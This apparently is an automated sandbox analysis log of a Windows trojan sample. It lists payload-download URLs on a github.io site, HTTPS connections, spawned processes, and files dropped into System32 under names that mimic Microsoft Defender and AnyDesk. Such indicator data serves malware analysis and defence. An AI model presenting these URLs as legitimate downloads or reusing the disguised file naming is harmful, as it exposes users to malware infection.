Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000002.2170001507.000002762097C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskShellIntegration.dllges
Source: AnyDeskUpdateService.exe, 00000088.00000002.2580124899.00007FF71DD81000.00000040.00000001.01000000.00000008.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskShellIntegration.dllhttps://duy-thanh.github.io/file/AnyDesk
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2943264967.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskShellIntegration.dllmsml
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3387008885.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskShellIntegration.dllz
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2324213769.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2516843651.000001F7B17AD000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2762015507.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2253907648.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2580698857.000001F7B17AD000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2381038957.000001F7B17DA000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.3381908245.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2762015507.000001F7B17AD000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2388079438.000001F7B17B0000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2516843651.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2253907648.000001F7B17A9000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2452545323.000001F7B17AD000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2324213769.000001F7B17B0000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2943264967.000001F7B17AD000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2580698857.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3387008885.000001F7B179E000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.3381908245.000001F7B179E000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3387008885.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2881888934.000001F7B17AD000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2642623988.000001F7B17AC000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2642623988.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskUpdateService.exe
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2762015507.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2388079438.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskUpdateService.exe3l
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3386441778.00000004C6DF9000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskUpdateService.exeC:
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2452545323.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskUpdateService.exedf-msMo
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3387008885.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskUpdateService.exeml
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2943264967.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2881888934.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/AnyDeskUpdateService.exeup
Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000003.2163868483.0000027620A3D000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000003.2163868483.0000027620A06000.00000004.00000020.00020000.00000000.sdmp, AnyDeskUpdateService.exe	String found in binary or memory: https://duy-thanh.github.io/file/MicrosoftWindowsDefenderCoreService.exe
Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000003.2163868483.0000027620A3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/MicrosoftWindowsDefenderCoreService.exep
Source: SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe, 00000000.00000003.2163868483.0000027620A3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/MicrosoftWindowsDefenderCoreService.exev
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.3381908245.000001F7B179E000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3387008885.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2642623988.000001F7B17AC000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2702146475.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2881888934.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2821679076.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2452545323.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2388079438.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/version.txt
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2580698857.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/version.txt%l
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3386691306.000001F7B1727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/version.txt.dll
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2702146475.000001F7B17AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/version.txt8Y
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2381142881.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2388079438.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/version.txt9c4a2f8b514.cdf-msMo
Source: MicrosoftWindowsDefenderCoreService.exe, 00000005.00000002.2169025101.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3386441778.00000004C6DF9000.00000004.00000010.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3387459125.00007FF76E181000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/version.txtC:
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2452617242.000001F7B1789000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3387008885.000001F7B178A000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.3381908245.000001F7B1789000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2516905564.000001F7B1789000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/version.txtD
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2821679076.000001F7B17AC000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2516843651.000001F7B17AD000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2381038957.000001F7B17DA000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2388079438.000001F7B17B0000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2452545323.000001F7B17AD000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.3381908245.000001F7B179E000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2881888934.000001F7B17AD000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2642623988.000001F7B17AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/version.txtX
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.3381908245.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000002.3387008885.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/version.txtb.io/file/AnyDeskCrashHandler.exe
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2381142881.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2324213769.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/version.txtb.io/file/version.txt3l
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2943264967.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2881888934.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2821679076.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/version.txtb.io/file/version.txteService.exe3l
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2381038957.000001F7B17DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/version.txte1
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2762015507.000001F7B17AD000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2324213769.000001F7B17B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/version.txtr
Source: MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2762015507.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2516843651.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp, MicrosoftWindowsDefenderCoreService.exe, 00000011.00000003.2821679076.000001F7B17E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duy-thanh.github.io/file/version.txtt

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: unknown	HTTPS traffic detected: 185.199.110.153:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.153:443 -> 192.168.2.6:49714 version: TLS 1.2

Source: Conhost.exe	Process created: 46
Source: sc.exe	Process created: 50
Source: conhost.exe	Process created: 67
Source: cmd.exe	Process created: 118

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	File created: C:\Windows\System32\WindowsUpdate.txt	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	File created: C:\Windows\System32\AnyDeskShellIntegration.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	File created: C:\Windows\System32\oobe\AnyDeskCrashHandler.exe	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	File created: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\oobe\version.txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\AnyDeskUpdateService[1].exe	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\AnyDeskShellIntegration[1].dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\AnyDeskShellIntegration_Update.dll	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\oobe\version.txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\oobe\version.txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\oobe\version.txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\oobe\version.txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\oobe\version.txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\oobe\version.txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\oobe\version.txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\oobe\version.txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\oobe\version.txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\oobe\version.txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\oobe\version.txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\oobe\version.txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\oobe\version.txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\oobe\version.txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\oobe\version.txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\oobe\version.txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt	Jump to behavior
Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe	File created: C:\Windows\System32\oobe\version.txt	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	File created: C:\Windows\System32\WindowsUpdate.txt	Jump to behavior
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	File created: C:\Windows\System32\WindowsUpdate.txt
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	File created: C:\Windows\System32\WindowsUpdate.txt
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	File created: C:\Windows\System32\WindowsUpdate.txt
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	File created: C:\Windows\System32\WindowsUpdate.txt
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	File created: C:\Windows\System32\WindowsUpdate.txt
Source: C:\Windows\System32\oobe\AnyDeskUpdateService.exe	File created: C:\Windows\System32\WindowsUpdate.txt

Source: C:\Windows\System32\oobe\MicrosoftWindowsDefenderCoreService.exe

File deleted: C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE\version[1].txt

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C7852840	0_2_00007FF6C7852840
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C785CDF0	0_2_00007FF6C785CDF0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C788AD68	0_2_00007FF6C788AD68
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C7873510	0_2_00007FF6C7873510
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C787E95C	0_2_00007FF6C787E95C
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C786F0F0	0_2_00007FF6C786F0F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C786F910	0_2_00007FF6C786F910
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C785E130	0_2_00007FF6C785E130
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C785D920	0_2_00007FF6C785D920
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C7884518	0_2_00007FF6C7884518
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C787F064	0_2_00007FF6C787F064
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C7862860	0_2_00007FF6C7862860
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C785D090	0_2_00007FF6C785D090
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C787D0A0	0_2_00007FF6C787D0A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C787FFBC	0_2_00007FF6C787FFBC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C785E010	0_2_00007FF6C785E010
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C785CF70	0_2_00007FF6C785CF70
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C788A6CC	0_2_00007FF6C788A6CC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C78586D0	0_2_00007FF6C78586D0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C78706DC	0_2_00007FF6C78706DC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C786F704	0_2_00007FF6C786F704
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C7871DCC	0_2_00007FF6C7871DCC
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C785D600	0_2_00007FF6C785D600
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C7871590	0_2_00007FF6C7871590
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C786F500	0_2_00007FF6C786F500
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C7874D28	0_2_00007FF6C7874D28
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C787D534	0_2_00007FF6C787D534
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C7884518	0_2_00007FF6C7884518
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C78794A0	0_2_00007FF6C78794A0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C7885410	0_2_00007FF6C7885410
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Win64.Spy.1125.10281.exe	Code function: 0_2_00007FF6C7888348	0_2_00007FF6C7888348
